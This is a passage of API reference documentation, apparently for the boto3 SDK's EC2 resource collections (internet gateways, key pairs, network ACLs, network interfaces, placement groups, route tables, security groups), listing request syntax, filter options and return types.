zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = ec2.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +internet_gateways + +A collection of InternetGateway resources.A InternetGateway Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = ec2.internet_gateways.all() + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +filter(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection filtered by kwargs passed to method.A InternetGateway collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = ec2.internet_gateways.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - attachment.state - The current state of the attachment between the gateway and the VPC (available ). Present only if a VPC is attached. + - attachment.vpc-id - The ID of an attached VPC. + - internet-gateway-id - The ID of the Internet gateway. + - owner-id - The ID of the AWS account that owns the internet gateway. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + - _(string) --_ +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = ec2.internet_gateways.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +page_size(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = ec2.internet_gateways.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +key_pairs + +A collection of KeyPairInfo resources.A KeyPairInfo Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all KeyPairInfo resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +key_pair_info_iterator = ec2.key_pairs.all() + +Return type + +list(ec2.KeyPairInfo) + +Returns + +A list of KeyPairInfo resources + +filter(kwargs_) + +Creates an iterable of all KeyPairInfo resources in the collection filtered by kwargs passed to method.A KeyPairInfo collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +key_pair_info_iterator = ec2.key_pairs.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + KeyNames=[ + 'string', + ], + KeyPairIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - key-pair-id - The ID of the key pair. + - fingerprint - The fingerprint of the key pair. + - key-name - The name of the key pair. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **KeyNames** (_list_) -- + + The key pair names. + + Default: Describes all your key pairs. + + - _(string) --_ +- **KeyPairIds** (_list_) -- + + The IDs of the key pairs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.KeyPairInfo) + +Returns + +A list of KeyPairInfo resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of KeyPairInfo resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +key_pair_info_iterator = ec2.key_pairs.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.KeyPairInfo) + +Returns + +A list of KeyPairInfo resources + +page_size(kwargs_) + +Creates an iterable of all KeyPairInfo resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +key_pair_info_iterator = ec2.key_pairs.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.KeyPairInfo) + +Returns + +A list of KeyPairInfo resources + +network_acls + +A collection of NetworkAcl resources.A NetworkAcl Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = ec2.network_acls.all() + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +filter(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection filtered by kwargs passed to method.A NetworkAcl collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = ec2.network_acls.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - association.association-id - The ID of an association ID for the ACL. + - association.network-acl-id - The ID of the network ACL involved in the association. + - association.subnet-id - The ID of the subnet involved in the association. + - default - Indicates whether the ACL is the default network ACL for the VPC. + - entry.cidr - The IPv4 CIDR range specified in the entry. + - entry.icmp.code - The ICMP code specified in the entry, if any. + - entry.icmp.type - The ICMP type specified in the entry, if any. + - entry.ipv6-cidr - The IPv6 CIDR range specified in the entry. + - entry.port-range.from - The start of the port range specified in the entry. + - entry.port-range.to - The end of the port range specified in the entry. + - entry.protocol - The protocol specified in the entry (tcp | udp | icmp or a protocol number). + - entry.rule-action - Allows or denies the matching traffic (allow | deny ). + - entry.rule-number - The number of an entry (in other words, rule) in the set of ACL entries. + - network-acl-id - The ID of the network ACL. + - owner-id - The ID of the AWS account that owns the network ACL. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the network ACL. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + - _(string) --_ +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = ec2.network_acls.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +page_size(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = ec2.network_acls.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = ec2.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = ec2.network_interfaces.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - addresses.private-ip-address - The private IPv4 addresses associated with the network interface. + - addresses.primary - Whether the private IPv4 address is the primary IP address associated with the network interface. + - addresses.association.public-ip - The association ID returned when the network interface was associated with the Elastic IP address (IPv4). + - addresses.association.owner-id - The owner ID of the addresses associated with the network interface. + - association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - association.public-dns-name - The public DNS name for the network interface (IPv4). + - attachment.attachment-id - The ID of the interface attachment. + - attachment.attach-time - The time that the network interface was attached to an instance. + - attachment.delete-on-termination - Indicates whether the attachment is deleted when an instance is terminated. + - attachment.device-index - The device index to which the network interface is attached. + - attachment.instance-id - The ID of the instance to which the network interface is attached. + - attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - availability-zone - The Availability Zone of the network interface. + - description - The description of the network interface. + - group-id - The ID of a security group associated with the network interface. + - group-name - The name of a security group associated with the network interface. + - ipv6-addresses.ipv6-address - An IPv6 address associated with the network interface. + - mac-address - The MAC address of the network interface. + - network-interface-id - The ID of the network interface. + - owner-id - The AWS account ID of the network interface owner. + - private-ip-address - The private IPv4 address or addresses of the network interface. + - private-dns-name - The private DNS name of the network interface (IPv4). + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - requester-managed - Indicates whether the network interface is being managed by an AWS service (for example, AWS Management Console, Auto Scaling, and so on). + - source-dest-check - Indicates whether the network interface performs source/destination checking. A value of true means checking is enabled, and false means checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - status - The status of the network interface. If the network interface is not attached to an instance, the status is available ; if a network interface is attached to an instance the status is in-use . + - subnet-id - The ID of the subnet for the network interface. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the network interface. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + - _(string) --_ +- **NextToken** (_string_) -- The token to retrieve the next page of results. +- **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = ec2.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = ec2.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +placement_groups + +A collection of PlacementGroup resources.A PlacementGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all PlacementGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +placement_group_iterator = ec2.placement_groups.all() + +Return type + +list(ec2.PlacementGroup) + +Returns + +A list of PlacementGroup resources + +filter(kwargs_) + +Creates an iterable of all PlacementGroup resources in the collection filtered by kwargs passed to method.A PlacementGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +placement_group_iterator = ec2.placement_groups.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + GroupNames=[ + 'string', + ], + GroupIds=[ + 'string', + ] +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - group-name - The name of the placement group. + - state - The state of the placement group (pending | available | deleting | deleted ). + - strategy - The strategy of the placement group (cluster | spread | partition ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **GroupNames** (_list_) -- + + The names of the placement groups. + + Default: Describes all your placement groups, or only those otherwise specified. + + - _(string) --_ +- **GroupIds** (_list_) -- + + The IDs of the placement groups. + + - _(string) --_ + +Return type + +list(ec2.PlacementGroup) + +Returns + +A list of PlacementGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of PlacementGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +placement_group_iterator = ec2.placement_groups.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.PlacementGroup) + +Returns + +A list of PlacementGroup resources + +page_size(kwargs_) + +Creates an iterable of all PlacementGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribePlacementGroups) + +**Request Syntax** + +placement_group_iterator = ec2.placement_groups.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.PlacementGroup) + +Returns + +A list of PlacementGroup resources + +route_tables + +A collection of RouteTable resources.A RouteTable Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = ec2.route_tables.all() + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +filter(kwargs_) + +Creates an iterable of all RouteTable resources in the collection filtered by kwargs passed to method.A RouteTable collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = ec2.route_tables.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + RouteTableIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - association.route-table-association-id - The ID of an association ID for the route table. + - association.route-table-id - The ID of the route table involved in the association. + - association.subnet-id - The ID of the subnet involved in the association. + - association.main - Indicates whether the route table is the main route table for the VPC (true | false ). Route tables that do not have an association ID are not returned in the response. + - owner-id - The ID of the AWS account that owns the route table. + - route-table-id - The ID of the route table. + - route.destination-cidr-block - The IPv4 CIDR range specified in a route in the table. + - route.destination-ipv6-cidr-block - The IPv6 CIDR range specified in a route in the route table. + - route.destination-prefix-list-id - The ID (prefix) of the AWS service specified in a route in the table. + - route.egress-only-internet-gateway-id - The ID of an egress-only Internet gateway specified in a route in the route table. + - route.gateway-id - The ID of a gateway specified in a route in the table. + - route.instance-id - The ID of an instance specified in a route in the table. + - route.nat-gateway-id - The ID of a NAT gateway. + - route.transit-gateway-id - The ID of a transit gateway. + - route.origin - Describes how the route was created. CreateRouteTable indicates that the route was automatically created when the route table was created; CreateRoute indicates that the route was manually added to the route table; EnableVgwRoutePropagation indicates that the route was propagated by route propagation. + - route.state - The state of a route in the route table (active | blackhole ). The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, the specified NAT instance has been terminated, and so on). + - route.vpc-peering-connection-id - The ID of a VPC peering connection specified in a route in the table. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the route table. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + - _(string) --_ +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = ec2.route_tables.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +page_size(kwargs_) + +Creates an iterable of all RouteTable resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = ec2.route_tables.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +security_groups + +A collection of SecurityGroup resources.A SecurityGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = ec2.security_groups.all() + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +filter(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection filtered by kwargs passed to method.A SecurityGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = ec2.security_groups.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + The filters. If using multiple filters for rules, the results include security groups for which any combination of rules - not necessarily a single rule - match all filters. + + - description - The description of the security group. + - egress.ip-permission.cidr - An IPv4 CIDR block for an outbound security group rule. + - egress.ip-permission.from-port - For an outbound rule, the start of port range for the TCP and UDP protocols, or an ICMP type number. + - egress.ip-permission.group-id - The ID of a security group that has been referenced in an outbound security group rule. + - egress.ip-permission.group-name - The name of a security group that has been referenced in an outbound security group rule. + - egress.ip-permission.ipv6-cidr - An IPv6 CIDR block for an outbound security group rule. + - egress.ip-permission.prefix-list-id - The ID of a prefix list to which a security group rule allows outbound access. + - egress.ip-permission.protocol - The IP protocol for an outbound security group rule (tcp | udp | icmp or a protocol number). + - egress.ip-permission.to-port - For an outbound rule, the end of port range for the TCP and UDP protocols, or an ICMP code. + - egress.ip-permission.user-id - The ID of an AWS account that has been referenced in an outbound security group rule. + - group-id - The ID of the security group. + - group-name - The name of the security group. + - ip-permission.cidr - An IPv4 CIDR block for an inbound security group rule. + - ip-permission.from-port - For an inbound rule, the start of port range for the TCP and UDP protocols, or an ICMP type number. + - ip-permission.group-id - The ID of a security group that has been referenced in an inbound security group rule. + - ip-permission.group-name - The name of a security group that has been referenced in an inbound security group rule. + - ip-permission.ipv6-cidr - An IPv6 CIDR block for an inbound security group rule. + - ip-permission.prefix-list-id - The ID of a prefix list from which a security group rule allows inbound access. + - ip-permission.protocol - The IP protocol for an inbound security group rule (tcp | udp | icmp or a protocol number). + - ip-permission.to-port - For an inbound rule, the end of port range for the TCP and UDP protocols, or an ICMP code. + - ip-permission.user-id - The ID of an AWS account that has been referenced in an inbound security group rule. + - owner-id - The AWS account ID of the owner of the security group. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC specified when the security group was created. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **GroupIds** (_list_) -- + + The IDs of the security groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + - _(string) --_ +- **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation 